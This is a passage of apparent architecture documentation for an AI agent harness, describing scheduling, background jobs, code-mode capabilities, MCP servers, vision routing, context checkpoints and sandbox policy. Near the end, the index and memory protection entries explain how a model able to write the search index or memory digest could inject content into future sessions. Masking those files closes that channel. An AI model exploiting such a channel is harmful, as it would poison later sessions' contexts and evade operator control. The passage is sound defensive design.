earliest mark — so the scanner is also the **single writer** of that
schedule's `client/schedule.seen_key` cell, and claiming it is its only
write besides the fire itself. `observed_since` reads the cell off the
store like a mark and, finding it absent, claims it with
`api.put_reserved_fact_expecting(expected: None)`; a `FactConflict`
means another incarnation won the gap, so the winner's instant is read
back rather than assumed. The cell is written at most once per
`{strand, name}` — the invariant every reader of it rests on — and a
store fault that leaves it unrecorded logs `schedule.seen_unrecorded`
and measures that one tick from `now`, which expires nothing: a fault
must neither shorten a schedule's life nor lengthen it. The same "durable-derived beats durable-stored" argument
keeps `client/rulescan`'s cursor a checkpoint rather than a source of
truth.
**A settled target ends the schedule, and the check is a subagent's
only.** Before any timing arithmetic, a schedule whose target is a
subagent asks whether that strand has stopped: dead when its lineage
cell carries the `reaped` mark, or when its `brief` has a terminal
result (`api.await_strand_result(within_ms: 0)`, one immediate store
read) — exactly the pair `client/agency.is_live` and `reap` decide
from. A dead target's schedule is `Expired` for that tick: no fire, no
re-arm, and no wake whoever configured it, which is the belt to
`client/scheduleseam.reaping_hooks`' braces (#163). It **fails
closed**: a `sub:` target with no lineage cell, or one whose cell will
not decode, reads as finished — the opposite direction from
`client/rulescan`'s hold, deliberately, because a held rule costs a
tick while a fired schedule may open a run. A root strand answers
`False` without a read at all: `main` is idle between runs rather than
finished, so a terminal result there says the last prompt ended and
nothing about the next one.
A fire is one `api.steer_marking` when `Schedule.wake` is `SteersOnly`
— the injection and the occurrence's write-once fired-mark in one
transaction, exactly `client/rulescan`'s at-most-once argument, held on
an idle strand rather than dropped or started. `WakesIdle` opts into
`api.send_to_strand_marking` instead, which may start a fresh run on an
idle strand: the one behavior a triggered rule is never allowed, safe
here only because a schedule's mandatory expiry bounds how long it can
keep a session alive. A session closed through a missed window catches
up to **at most one** late fire per schedule at the next tick, never a
replay of the backlog: an occurrence is judged late by whether the
*immediately preceding* slot's fired-mark is missing, never by
comparing the current time against a boundary computed from that same
current time, which is always trivially on-time by construction.
- `tools/tail.{Tail, Since, new, push, since, received}` — the pure,
bounded rolling window over one stream with a monotone byte cursor that
the job runner holds per stream. It lived here as `client/jobtail` until
the foreground tool collector needed the same primitive
(`protocol-change/031`); `packages/tools/CLAUDE.md` now documents it.
What the runner relies on is unchanged: `since(cursor)` tells a reader
that fell behind how much it missed rather than handing it a
plausible-looking window, and binary output goes out rather than being
held back forever waiting for a character boundary.
- `client/retryconf.{default_policy, unbounded_attempts, parse_policy}` —
the optional `[retry]` table from the same `loom.toml`, parsed by the
same strict, total discipline as `[schedules]` and `[jobs]`: unknown
keys refused, `attempts = 0` refused, a negative delay refused, each
refusal naming the key. It produces a `machine/operation.
NormalizedRetryPolicy`, which `serve.Settings.retry_policy` carries to
`api.Options.retry_policy`, so an operator's ladder is the one every
run on the session uses. `attempts` is a positive integer or the
string `"unbounded"`; `base_delay_ms` and `max_delay_ms` are
non-negative milliseconds. A missing table, and every key a present
table omits, comes from `runtime/api.default_retry_policy` — the one
place those three numbers live, so the parser cannot drift from the
runtime default. That default never gives up, so the table is mostly
for the operator who wants a bounded ladder that fails the run instead
of long-polling a provider that is refusing.
- `client/notice.{Work, Delivered, Activity, Due, IdleClock, key_prefix,
heartbeat_tick_ms, default_heartbeat_ms, key, deliver, activity, beat,
idle_clock, observe, retain, heartbeat_text, minutes}` — harness
notices about work that outlives its tool call. `deliver` is the
completion notice a finished job or async execution sends its owner:
`runtime/api.send_to_strand_marking` with a mark under
`client/notice/job/<id>` or `client/notice/execution/<id>`, so a steer
into an open run or a fresh run on an idle strand, spent at most once.
`beat` is the idle heartbeat's wake, an `api.prompt` that treats
`StrandBusy` as success. `IdleClock` is the pure, volatile record of
when each sampled owner went idle: a busy sample forgets the strand and
a due beat restarts its stretch. Both owning services sample every
`heartbeat_tick_ms` (a minute, slower than the hibernation interval).
`docs/design-notes/async-completion-wake.md` has the design.
- `client/owner_services.{OwnerServices, JobsOwner, FactAccess, FactFault,
OwnerCapCall, working_directory_prefix, served_prefixes, jobs_owner,
local_facts, local_jobs_owner, local, no_capability, unavailable}` — the
one record of plain functions a session's workspace half calls back into
the owner through: `escalate` (a policy refusal's decision), `facts`,
`output` (the rolling output tail), `capability` (an owner-bound
code-mode call), `holds` (a strand's tool list), and `notify`,
`strand_activity` and `wake` (the jobs actor's completion notice, activity
read and idle heartbeat). Locally every function is the call it replaced;
a workspace on another node is given the same record backed by messages.
`FactAccess` is fenced to `client/working_directory/` and `job/` (a key
elsewhere is `NotServed` before any store is consulted) and keeps
`FactFault` distinct: `StoreAbsent`, `Conflict`, `LeaseStolen(held_by)`,
`Failed(detail)`. `jobs.Wiring` takes a `JobsOwner` plus a `session_path`
label supplier instead of a borrowed runtime. `notice.deliver` is the local
`notify`; `notice.sample` takes the activity and wake functions, with
`sample_runtime` as the shim `async_runs` keeps. `serve` builds the local
record (`owner_services.local`) and derives `wiring.Config.escalations` and
`observe_output` from it. Background code mode (`async_runs`,
`async_codemode`) is not ported and keeps its `Runtime`.
- `client/cap_placement.{Placement, owner_caps, executor_caps, placement}` —
where each code-mode capability name is answered when the workspace is not
in the owner's VM, built from the routers' `serviced_caps` constants.
`cap_placement_test` fails on a name in neither group or in both.
`codemode.OwnerSide` is the four doors the owner's arms read (surface with
its Agency, notes, schedules, MCP), `codemode.owner_side` reads them off a
`Config` and `codemode.owner_serving` builds them from a seam setting, an
Agency and a scheduling door with no `Config` at all, which is what an
orchestrator of a remote workspace has. `owner_arms` reads the arms for one
seam, `owner_calls` composes `strand.*` and `notes.*` from them for the local
router, and `owner_answering` composes the same arms to answer an
`OwnerCapCall` from plain data (`owner_capability(config)` is it over the
Config's own side). It refuses a seam the surface does not serve, and its
`beyond` argument wraps the whole chain outermost for arms a `Config` does not
carry. `peer.*` is one: a local session composes it through
`serve.with_code_mode_peers`, and the owner of a remote one through
`owner_codemode.answering`.
- `client/owner_codemode.{over_owner, advertising_peers, answering}` — code
mode when the workspace and its owner are on different nodes, both ends in
one module. `over_owner(config, owner)` is the executor's `CodeModeAttach.arms`:
it serves the shipped default of both seams over a stand-in Agency (every
operation `AgencyUnavailable` except `holds`, which asks the owner), and puts
one router outside the execution's that sends each name
`cap_placement.placement` gives the owner as an `OwnerCapCall` through
`OwnerServices.capability`, inside the `ServedHere` worker so the capability
host keeps reading its channel. A dead port or dropped link answers
`owner_unavailable` at once. `answering(side, peers:)` is the orchestrator's
end, built in `serve` for a registered workspace from the session's own
Agency, scheduling door and peer wiring. `advertising_peers` appends
`peer.*` to every seam a tool offers, for `serve.code_mode_tool` and the
executor. Background programs and MCP façades are offered (see "Background
code mode and MCP on a registered session" below); workflow steps of a
foreground program are not (the owner names the refusal). An operator's narrower
`--codemode-seams` choice is enforced by the owner, since the executor is
not told it.
`owner_codemode_test` drives the capability router through a real owner port
and link, and `daemon_shipped_remote_caps_test` runs the route across two
daemons.
- `client/workspace_policy.{Basis, session_base, session_toolchain,
base_policy_for, base_policy_fault, go_cache_fault, protecting_*,
admitting_*, widening_*, allowing_*, under_tools_config, merging_mounts,
tool_environment, session_environment, prepare_directories, degraded,
lsp_server_roots, lsp_places, env_text, ...}` — the sandbox policy,
environment and directory layout of a session's workspace, as functions of
plain values (a workspace path, the `[tools]` table, the Go caches, the
owner's protected files). They moved out of `serve` so that the workspace
half of session assembly can use them without importing `serve`, and so
that an executor holding only a workspace can run the same composition. `Basis` is the four values `session_base`,
`session_toolchain` and `go_cache_fault` read; `serve.workspace_basis`
derives it from `Settings`. `prepare_directories` takes the owner's
directory as an `Option` first argument, so the workspace half does not
need the session path. Nothing here reads a session, a store or a mailbox.
- `client/workspace_plane.{WorkspaceSpec, Prepared, Census, Warning, Attach,
CodeModeAttach, Retain, Children, WorkspacePlane, PromptFacts, Started,
Local, LspPlane, prepare, start, start_local, worktree_wiring,
start_effect_plane, mixed_entropy}` — the workspace half of a session,
built alone. `prepare(spec, reading:)` spawns nothing: it discovers the
toolchain, composes the session base with `workspace_policy.session_base`,
refuses a base the sandbox cannot enforce or a Go cache that cannot be
honoured, makes the directories and reads the machine into a `Census`
(workspace root as an opaque string, toolchain result, effective language
servers with roots resolved, installed-extension discovery, platform,
shell, base policy, tool environment and its unset names, Git program,
the workspace's two hook settings files as bytes, warnings). `WorkspaceSpec` is plain data, including `owner_files` (the
index, memory store and digest paths to mask, `None` when the owner is on
another machine); `reading` is the one closure `prepare` takes, because
`[tools] env` values resolve from the machine's own configuration.
`start_local(prepared, attach)` takes the owner's contribution as an
`Attach` (logger, namespace, `Retain` custody callback, `OwnerServices`,
the session label for the jobs actor, and `CodeModeAttach` carrying the
owner's arms of code mode and the `code_mode` tool constructor) and
starts the helper pool, the executor service and the broker, publishing
`Helpers` then `Broker` through `Retain` in that order. It recomputes
`session_base` first, because masks over the owner's files depend on files
that exist only after the owner's storage opened (the second computation
is the one the returned census carries; a test pins it). It builds the
scratch, jobs and language-server wiring, the code-mode configuration
(workspace doors first, `CodeModeAttach.arms` last, so the peer router
wraps the working-directory router as it did), the workspace's tools
(`contributions.workspace_tools` then `directory_tools`, less the
operator's deactivations) into the registry `run` dispatches over, and
prepares the Git identity, whose warning joins the census. `decls` is that
registry described, in registration order. `start` returns only the interface a remote workspace
matches, `Started{plane, children, decls}`; `start_local` returns `Local`,
which adds the pool, executor, language-server plane, code-mode
configuration that `serve` still needs. `Children` is
three adders (`scratch`, `jobs`, `lsp_manager`) because `serve` splices
each into its services tree at its established position; each holds only
its child specification. `WorkspacePlane` is `run(ToolRun, Authority)` (the
workspace half of `wiring.run_tool`), `broker`, `census`, a lazy
`prompt_facts` (the workspace's guidance files as text and the helper's
health, so a pinned prompt pays for neither), `resolve_directory`
(`directories.resolve_addition` against the workspace's filesystem),
`live_jobs`, `fatal` (pool, executor, broker pids) and `close` (the
language-server stop `close_instance` runs). A local plane never calls
`OwnerServices.capability`: the owner's code-mode arms are composed into
the router directly. `mixed_entropy` and `start_effect_plane` (the
one-shot planes' entry, which `serve.start_effect_plane` delegates to)
live here too.
- `client/tool_placement.{Placement, core_names, workspace_names,
owner_names, placement}` — which half runs each built-in tool, as two
lists of names built from the tool modules' own name constants.
`placement(name)` is `Ok(WorkspaceSide)` for `bash`, `grep`, the file
tools, `code_mode`, the `job_*` tools and `working_directory`;
`Ok(OwnerSide)` for the agent family (with `todo`), `history_search`,
`remember`, `schedule_*`, `context_remaining`, `load_skill`, `peer_*` and
`advise`; and `Error(Nil)` for an extension's tool, which a local session
runs on the owner and a remote one will refuse. `tool_placement_test` builds
each half with every plane enabled and fails on a name built and not placed,
placed on the wrong side, on both sides, or listed and not built.
- `wiring.{run_placed, WorkspaceRun}` — the routed tool surface. `serve`
replaces the `run` slot of the built `Effects` with `run_placed(owner_run,
run_holder, session, clock)`: a name `tool_placement` puts on the workspace
reads its stored `Authority` and runs through the plane's `run`; everything
else, owner-side built-ins and extension tools, takes the path every call
took before. The plane's `run` closes over the workspace's registry, so it
is held in a second `tool_holder` (started with the first by `start_holders`
and retired with it under `custody.ToolConfig`) for the reason the
configuration is: the effect surface is copied into every process that holds
the runtime. The owner's registry holds the workspace's tools only as
`contributions.described_tools(decls)`, `tool.Described` with a `run` that
refuses, built by `tool.from_described`; a routing mistake meets that
refusal, never a tool. `ToolSurface.recover` stays `None`.
- `client/hookserve.{Contents, read_contents, gather, load_from}` — imported
hooks over sources read on another machine. `read_contents` is one file as
`Missing`, `Bytes` or `Unreadable(reason)`; `gather` pairs each located
source with its contents, reading the operator's file on the owner and
taking the workspace's from the census by path; `load_from` is `load` over
those pairs, so parsing, the trust check against the owner's record and the
merge are the same function whichever machine the bytes came from. `load`
is `load_from` over files read here.
- `client/directories.{resolve_addition, admin_over}` — the half of an
operator's `add-dir` that needs the workspace's files, and the door built
over a resolver for it. `admin_with_facts` is `admin_over` with
`resolve_addition` over the session's workspace; `serve` passes the plane's
`resolve_directory`.
- `client/system_prompt.{discover_user, discover_workspace, render_guidance}` —
`discover` split at the machine boundary. The operator's global `AGENTS.md`
is read on the owner; the workspace's `AGENTS.md` and `CLAUDE.md` arrive
from the plane's `prompt_facts` as text, and `serve.render_prompt` renders
the same document the single lookup did (a test pins the equality).
- `client/contributions.{workspace_tools, directory_tools, OwnerTools,
owner_tools, compose}` — `built_in` is now the workspace's tools (the five
core tools, `code_mode`, the `job_*` tools) composed with the owner's
(`agent_*`, `history_search`, `remember`, `schedule_*`,
`context_remaining`). `compose` cuts the workspace's list after the run of
core tools and after `code_mode` and wedges the owner's two runs in, so the
registration order (the pinned prompt's tool index) is what it always was
whichever tools are absent. `tool.Described` is a tool's name, description,
snippet, schema, replay and execution mode: what a registry needs to offer a
tool whose behavior is on another machine.
- `client/jobs.{JobsPolicy, Request, Audience, Released, Started, Cursors,
Polled, Listed, Refusal, Spill, Wiring, Message, StdinEnd, Control, Ask,
max_jobs_per_strand, default_wall_ms, tail_bytes, settle_grace_ms,
stop_grace_ms, runner_ask_ms, default_policy, parse_policy, blob_spill,
staging_path, start, supervised, start_job, release_job,
sample_heartbeat, poll_job, list_jobs, kill_job, write_stdin,
await_job, await_completion}` — the session's background
jobs: one `weft/actor` in the **restartable** services tier beside
`client/extension/hosts`, and one weft runner per job. The actor owns
the durable `job/<id>` record, the per-strand ceiling of four, and the
closures that cancel and write stdin; the runner owns the jailed
execution, the two `tools/tail` windows and the staging files.
**The runner and not the actor calls the broker**, and two clauses of
the broker's contract force it: `clear_call` waits out a full helper
pool in the *caller's* process, so an actor that cleared would stop
answering polls the moment the pool filled; and the relay monitors
whoever owns the events subject and cancels the execution when that
process dies, so the owner has to be a process whose life is exactly
the job's. A live job's output is therefore read by a **monitored
call** from the actor into its runner, and a finished one's from the
tails the runner handed back with its final report. The terminal fact
is written when the runner's **weft outcome** arrives, never when its
settlement message does: an outcome is reported only after the worker
exits, so the scope's exit is the drain proof. The task is a plain one
rather than a managed one, deliberately — a managed task witnesses
owners a worker *discovers*, and this worker discovers none. Admission
claims the cell with `api.put_reserved_fact_expecting(expected: None)`
*before* the clearance (the effect sandwich applied to a spawn) and
**deletes it** if the clearance refuses, because a refusal is not a
crash and a job that never existed must not hold a ceiling slot.
Attribution never rests on message order: the runner bounds its own
fold at the deadline and both tells the actor *and* carries the cause
in its final report, since those two reach the mailbox from different
senders. On start, an injected `actor.continuing(Reap)` sweeps `job/*`
and commits `Lost(VmRestart)` for everything still live — for **both**
restart cases, because telling this session's first start from a
supervisor restart needs state that outlives the actor and dies with
the VM, which is machinery bought for a word nobody branches on.
Production waits use `WatchOne` to obtain an ownership-checked completion
witness alongside the current `Polled`. The first waiter starts one linked
weft actor; later waiters share it without registering their subjects.
`commit` stops it after applying the terminal event and attempting the fact
write. Each caller monitors it and rereads `poll_job` on DOWN or timeout;
DOWN itself never means success. A monitor installed after completion also
wakes, and the witness follows its jobs-owner parent on restart or kill.
Refused clearance stops it before deleting the held record. Terminal jobs
and swept records retain no witness. Persistence errors retain the existing
in-memory commit behavior; a wake proves write-attempt ordering, not successful
storage under an owner failure.
**Each job's `Audience` decides who hears about its end.** `NotifyOwner`
(a background `bash`) sends the owner a completion notice after the
terminal commit; `CallerWaiting` (an auto `bash`) is silent until
`release_job`, or until the caller the actor monitors from admission
dies; `ProgramWatches` (`cap/job`) never notifies. The notice goes out
from the actor's own settlement handlers and from the restart sweep for
the jobs it just declared lost, never from the session-stop drain. An
owner's kill, an operation abort and a session stop are silent. A
`Beat` tick every minute samples owners of live jobs for the idle
heartbeat under `JobsPolicy.heartbeat_ms` (`[jobs].heartbeat_s`). Only
a job whose `Request.idle_wake` is `tools/job.WakeWhenIdle` counts, and
the listing names only those jobs: the heartbeat is opt-in per job, via
`bash`'s `heartbeat` argument, so a passive watcher never wakes its
owner. The choice is held on the actor's in-memory `Held` rather than
the durable record, since no job is live across a restart.
- `client/jobseam.{Wiring, Door, max_wait_ms, ask_timeout_ms,
start_margin_ms, first_slice_ms, max_slice_ms, door, production, none, real_rest}`
— the host side of the model-facing jobs door, mirroring
`client/scheduleseam`: six closures keyed on the caller's strand,
which `client/jobtools` turns into `tools/job` and `cap/job` surfaces.
Ids are text here
and typed behind it, and this is the one place a string becomes a
`jobstate.JobId` — with `Invalid` rather than `NotFound` for a
malformed one, because "that is not a name a job could have" is a typo
to fix and not a job to stop looking for. `workspace_plane` selects
`production`, whose positive waits call `jobs.await_completion` on the real
monotonic time base. `door` retains the injected clock and rest over
`weft/poll` for simulations. Both wait in the caller's process, so a model
blocking thirty seconds on one job cannot stop other actor requests.
- `client/jobtools.{seam, capability_door, refusal, started, polled,
listed}` — the translation between `client/jobseam.Door`'s vocabulary
and the model's. `tools` may reach only `core` and `broker`, so neither
package may name the other's types and something has to sit between
them; `client/scheduleseam` needs no such module only because that door
was written in `tools/schedule`'s words to begin with. Two entry points
and one translation: `seam` fills the `job_*` tools and is keyed on a
`tools/tool.Ctx`, `capability_door` fills `codemode/workspace.JobDoor`
and is keyed on the strand and the operation an execution belongs to,
because a capability call has no `Ctx`. Both bind the owning strand
from the caller and both carry the caller's **real** operation, since
that is what `broker.abort` addresses and therefore what decides
whether an operator's abort reaches a running job.
- `client/codemode.{over_mcp, seam_allowlist, seam_caps_on}` — what a
configured MCP server does to the seam a model is offered. One
`Config.mcp` field, for the reason `surface` is one field: a server
widens each installed program mode's *allowlist*, its rendered *description*,
the *generated table* the hermetic build takes, and the capability
*router*, and a host that could set those apart would eventually set
them apart. The default workspace and orchestration modes both route the
configured MCP façade; an explicit workspace-only host stays effect-only.
- `client/codemode.{Surface, Seams, serving, orchestrating,
surface_seams, surface_seam, seam_policy, seam_caps, tool_seam,
vetting_seam}` — which code-mode seams this host serves.
`Surface` is `Workspace`, `Orchestration(agency, spawn_ceiling)` or
`Both(...)`: one field, because the vetting allowlist, the capability
router and the admission ceilings have to agree and a host that could
set them apart would eventually set them apart. `Seams`
(`WorkspaceOnly` / `OrchestrationOnly` / `BothSeams`) is the same
choice as a *setting* — what a flag can carry before there is an
`Agency` to serve the orchestration seam with — and `serving` turns
one plus an Agency into a `Surface`; `orchestrating` is the
orchestration-only case of it. `seam(config)` publishes exactly the
seams the surface serves as `tools/codemode.Seams`, each with the
allowlist and the serviced capabilities read off the running policy,
so what the model may ask for and what will judge it cannot drift.
`tool_seam` / `vetting_seam` are the two directions of the mirror
between `vet/policy.Seam` and the tool's own `Seam`.
- `client/mcp.{Layer, Server, Refusal, Options, none, serving, start,
stop, routing, allowed_imports, surfaces, generated, serviced_caps,
listings, sha256_hex}` — the MCP layer (#106): the configured servers
this host actually reached. `start` fans every `catalog.McpServer`'s
bring-up out over a `weft` run — one task per server, bounded by the
catalogue's own length — rather than folding them one at a time, so an
N-server boot pays one shared clock for every handshake timeout rather
than N consecutive ones; `weft.start` hands outcomes back sorted by
input position, so zipping them against the unchanged `servers` list is
what restores catalogue order regardless of which server answers first.
Each task still spawns its server over `gleam_mcp/transport.PortTransport`,
hand-shakes, lists its tools and generates its `cap/mcp/<server>`
façade, keeping the client **running** for the session because dispatch
is the same client; each failing step refuses *that* server with a
worded `Refusal` and the boot goes on without it, and a `Crashed` weft
worker becomes a worded `Refusal` too rather than taking the boot down.
`routing` is the capability arm: a cap under `mcp.` is answered as
`satellite.ServedHere` — no `CallSpec`, no jail, no policy — and
everything else is handed to the router beneath untouched. The client
actors are started from a throwaway unlinked process on purpose, two
`process.spawn_unlinked` calls below `start_one` itself, so a
third-party server's client cannot fell the server; that isolation does
not depend on which process runs `start_one` — a weft worker moves who
calls it, not how the actor is severed from its caller, so bring-up
needed no re-link back to the boot's own process and no accessor onto
`gleam_mcp/client.Client` to do one. `Layer` is then the only handle on the
clients, and `serve.shutdown` is what stops them.
- `client/system_prompt.{Host, Rendered, Assembled, Origin, assemble,
render_pack, pack_source, guidance, pinned_in, pinned, pin}` — the I/O
half of the pure `prompt` package. `Host` is every `pack.Environment`
field gathered from a real source; `pack_source` picks the shipped pack
or the one `LOOM_PROMPT_PACK` names; `render_pack` renders it or
refuses; `assemble` chooses between the `LOOM_SYSTEM_PROMPT` override,
the pinned cell and a fresh render; `pinned_in`/`pinned`/`pin` are the
two ends of the reserved `prompt/` cell. Nothing here is called per
turn — the whole module runs once, at boot.
- `client/system_prompt.{GuidanceFile, GuidanceOrigin, discover, guidance,
render_file, origin_name, agents_file, claude_file,
user_default_directories, max_guidance_file_bytes}` — the session's
instruction files and the fence they reach the model behind. `discover`
fills three slots in render order: the operator's global `AGENTS.md`
(under `~/.agents` then `~/.loom`, first found wins), the workspace's
`AGENTS.md`, and the workspace's `CLAUDE.md`. `guidance` joins them into the one string
`Host.guidance` carries, each file inside an `<instructions>` fence
naming its path and its `origin_name` — `workspace` or `user-default` —
which is the vocabulary the pack's framing prose is written against.
The home directory is a parameter rather than a `HOME` read, so the
whole lookup is testable without a process environment; `serve` reads
`HOME` and passes it in.
- `client/wiring.{request_target, resolved_target, strand_thinking_level,
thinking_level}` — the model-routing half of the seam: which role (if
any) a captured identity is on and therefore whether the dispatch walks
a chain, the `ForResolved`-only target every deferred poll and every
off-route generation takes, and the two directions of the map between
the machine's seven-point thinking scale and the provider's four-point
one — `thinking_level` collapsing for a dispatch, `strand_thinking_level`
lifting an entry's declared level to seed a strand.
- `client/wiring.{Config, build_effects}` — the production effect seam:
a `runtime/effects.Effects` over the real provider gateway, broker,
and tool registry (promoted from `conformance/wiring`; spec-gaps M2
item 7). The conformance wiring/e2e suites still prove it.
`Config.escalations` is the escalation seam a policy refusal goes
through — from `escalating_runner` for a refusal the broker handed
back, and from the `Ctx.raise_refusal` seam for one a tool met
elsewhere; both build the same `escalate.Refused` from the same
`ToolRun`. There is deliberately **no** session-wide grant list,
because a grant that cannot be attributed to the call in hand must
widen nothing.
- `client/wiring.{run_tool, terminates}` — the tool-dispatch boundary and
- `client/vision` — the vision routing rule (issue #358): a request
whose current turn carries an attached or tool-result image, on a strand whose catalogue
entry is text-only, dispatches through the routed
`vision` chain (`ForRole(Vision)`, admitted and accounted against
the vision head's own facts) or is refused in band at admission with
a worded reason — `image_unsupported` when no chain resolves,
`vision_misconfigured` when the routed head is itself declared
`TextOnly`. Every other request to a text-only identity carries its
`UserImage` and `ToolResultImage` blocks replaced with text placeholders, in the transient
projection only; the durable transcript keeps the images. The
classifier walks the current turn from the latest attributed human
prompt or settled assistant boundary. Digests have no origin and tool
steps do not close a turn. A disk image returned by `fs_read` switches the
next request to vision and subsequent tool steps retain that route.
Human attribution also survives projection of failed assistant responses,
allowing the next text prompt to end a rejected image turn. The immutable
operation admission batch is checked as well, including captured inputs
before its explicit prompts. An image-bearing admitted run stays on vision
through tool and run-end continuations, so a held image followed by a text
instruction cannot be silently placeholdered. A new text-only run does not
inherit the previous run's image requirement. Explicit `vision` declarations override the built-in capability.
Before preparing dispatch, wiring counts the original user and tool-result
images after the operation's source leaf and gives the gateway a request-local
protected count. The scan crosses compactions through their preserved parent
links, ignores copied retained tails and stops at the immutable run boundary.
The gateway budgets historical images independently for every fallback model
and refuses an oversized active turn locally. A successor run excludes old
images from protection; compaction cannot reclassify retained history as new.
GLM-5.3 (with or without the `zai-org/` prefix) defaults to text-only;
GLM-5.3-Flash remains distinct. Unknown identifiers retain the legacy
image-capable default. A following attributed text prompt can recover from a failed image request
with historical image placeholders, even after projection removes the error.
The catalogue parse refuses a `vision` chain that names a
`vision = false` entry, so a retryable walk cannot deliver an image
to a model that cannot read it. `Config.facts` carries the entry's
`catalog.ImageReading` beside its resolved facts and api, so the
capability and the accounting read one seam and cannot drift.
the one conversion across it. `run_tool` always settles as
`effects.ToolCompleted`, and its `terminate` is now the outcome's own
`tool.Terminate` rather than the hardcoded `False` it was: `terminates`
is where `TerminateRun` becomes the `Bool` the frozen effect type
carries, and it is the only place the polarity is written down.
- `client/wiring.{compaction_hooks, strand_window, resolution}` — live
compaction's host half, separable so a host with its own provider
surface can run the real hooks. `compaction_hooks` builds the whole
`effects.Hooks` record through `runtime/hooks`: real admission from
the gateway's resolved model facts, threshold and overflow over the
strand's durable projection, the notes checkpoint as every structural
decision (`VerdictSupplied`, no usage; a branch summary and an
unbuildable checkpoint decline), and the near-limit reminder on the
`context` slot. `strand_window` is the window a strand is measured
against — its own catalogue entry, else the fallback — exposed so
`serve` can build the `context_remaining` seam from the same rule
before the config exists. `resolution` asks whether the configured
role still routes. There is no summary request, no sink and no
progress hook: no summarizer serves this host, and a `SummaryRequest`
reaching `dispatch` is refused terminally.
- `client/checkpoint.{Recall, Closed, Checkpoint, max_notes_bytes,
header_prefix, instructions_fence, reminder_prefix, for_operation,
render, reminder_point, reminder, reminder_text, remaining_seam}` —
the context checkpoint: what replaces the older half of a strand's
context when its window fills. `for_operation` builds it from durable
state alone — the operation's frozen preparation, the strand its
`op.meta` names, that strand's `agent/{strand}/` cells newest first,
the compactions already on its branch (the window ordinal) — and
`render` is the text: a `[loom]` header naming the window, the counts
and where the cut messages went (`history_search` when `Recall` says
the strand can call it), the notes quoted as data under
`max_notes_bytes`, and an operator's `compact` instructions quoted in
their own fence. A prior checkpoint is named by session and entry ID
for exact retrieval of inherited context. `reminder_point` is one reserve below the threshold's
cut, `reminder` the user message the `context` slot appends past it;
that slot counts the messages the request already carries rather than
reading the branch again, which cost a scan and decode per request
(issue #359).
`remaining_seam` fills `tools/context`'s seam from the same projection
and token fold the threshold reads. `docs/architecture/compaction.md`
carries the argument for a checkpoint over a summary.
- `client/wiring.compaction_hooks` enables exact retained-tail references only
when its registry contains `history_search` and the durable strand
configuration activates that tool. Threshold and overflow preparations share
this gate. Manual compaction applies the same gate at the gateway boundary,
so custom and restricted tool surfaces retain payloads verbatim.
- `client/serve.{default_reserve_tokens, default_keep_recent_tokens}` —
pi's compaction defaults, and the only place they are stated.
`LOOM_COMPACTION`, `LOOM_COMPACTION_RESERVE` and
`LOOM_COMPACTION_KEEP_RECENT` override them; settings that cannot
describe a working compaction disable it rather than firing a
threshold that prepares nothing.
- `client/contributions.{Origin, Contribution, Collision}` — who
contributed a tool (`BuiltIn` | `Extension(name)`), one origin's
ordered tool list, and the refusal when two contributions claim one
name. `code_mode` is `BuiltIn` and gated on its plane, exactly as
`history_search`, `remember` and the `schedule_*` tools are.
- `client/contributions.built_in(Option(Agency), Option(CodeMode),
Option(History), Option(Memory), Option(Schedules), Option(Context),
Option(Jobs), Option(lsp/query.Door), List(#(String, String)))`
— the host's own single contribution: five core tools, plus the six
`agent_*` tools only when a messaging plane exists, plus `code_mode`
only when this host wired a code-mode pipeline, plus `history_search`
only when its search index opened, plus `remember` only when the
memory session beside the session file opened, plus the three
`schedule_*` tools only when the schedule store did, plus
`context_remaining` over `client/checkpoint.remaining_seam` — the one
seam every served session has, so its `Option` is for a registry built
with no session behind it. A plane that is absent contributes nothing
at all. When code mode or jobs is available, the built-in `fs_read` also
receives `codemode.cap_scheme` or `job.scheme`, respectively. The schemes
reuse those planes and add no separate registry entry. A language-server
door (ADR-015 §6 and its code-mode addendum) builds `fs_write` and
`fs_edit` with `tools/lsp.diagnostics_observer`, so a landed write's
result gains its settled diagnostics; with `None` the two write tools are
the plain ones and the definitions are byte-identical to a host that
never heard of language servers. `serve` passes the session manager's
door when the catalogue configures an `[lsp.<name>]` server that
survived its load, and `None` otherwise (see "Language servers"). The
last argument is the served profiles' hints as `#(server name, hint)`,
attached to offers that admit and serve `cap/lsp`. The `code_mode`
description and `cap://lsp` read carry them with the native API. The default
registry does not register top-level `lsp_*` tools. Without a served LSP
capability it advertises no naming hints.
- `client/contributions.registry(List(Contribution)) ->
Result(Registry, Collision)` — the seam an installed extension enters
the registry through. Last-registration-wins survives *inside* one
contribution; a name two contributions both claim is refused, so an
extension can shadow neither a built-in nor a peer. `serve.boot`
turns a `Collision` into a boot refusal through
`contributions.collision_message`, which names both origins.
`contributions.deactivate(contributions, names)` runs first and drops
those names from the **built-in** contribution only, which is the whole
of how an extension's tool comes to stand in for a built-in one: an
active built-in still collides, a deactivated one leaves its name free.
`serve.Settings.deactivated_tools` fills it from `LOOM_DISABLE_TOOLS`. What a
registry produces reaches a session once: the prompt index and
`active_tool_names` are both fixed at session creation, so an
extension installed later is seen by the next session, not this one.
- `client/workspace_policy.session_base(Settings, String, String, String,
Result(Toolchain, String))` — the whole composed session base in one
named function: the index and memory protections, `allowing_tool_tmpdir`,
`allowing_imported_hook_env`, `under_tools_config`,
`widening_linked_worktree`, `admitting_codemode`, `merging_mounts`, in
that order. `assemble_in` calls it and `base_policy_fault` validates the
result. It is a function rather than an inline pipeline so a test can
read the composed allowlist back — `policy.meet` intersects `env_allow`
against this, so a step left out is not a missing convenience but every
call that wanted the name refused.
- `client/workspace_policy.protecting_index(SandboxPolicy, String)` — the base
policy with the search index added to `protected`. A security property,
not hygiene: snippets from that index are read back into *future*
sessions' contexts, so an index a model can write is a channel from one
execution's output into a later execution's input. `protected` bars
writes; since ADR-019 it bars native reads as well, matching the jail's mask.
`assemble` composes it before `base_policy_fault` validates, so the
addition is checked by the same gate every other path is.
- `client/workspace_policy.protecting_memory(SandboxPolicy, String, String)` — the
same bargain one step along, over `loom-memory.db` (with its WAL
family) and `loom-memory.digest`. More direct than the index's: a
search snippet reaches a later session only if a model searches for it,
while the digest is injected into **every** run of every session on the
repository, unasked. Both paths are conditional — masked once they
exist, or before that where a writable root reaches them — because the
jail refuses to mask a *missing* protected path under a read-only
parent and neither file exists until a distillation run has happened.
The two functions share one `protecting(always:, where_maskable:)`
mechanism rather than each carrying a copy.
- `client/workspace_policy.state_root_mask_candidates(String)` and
`client/workspace_policy.protecting_state_root(SandboxPolicy, String)` — what the
daemon masks under its state root, and the composition `resolve_managed`
applies in place of the root. **The state root is not itself a mask**,
and that is the invariant: masking `~/.loom` wholesale reads as prudence
and broke a workspace an operator had every right to open on it — a
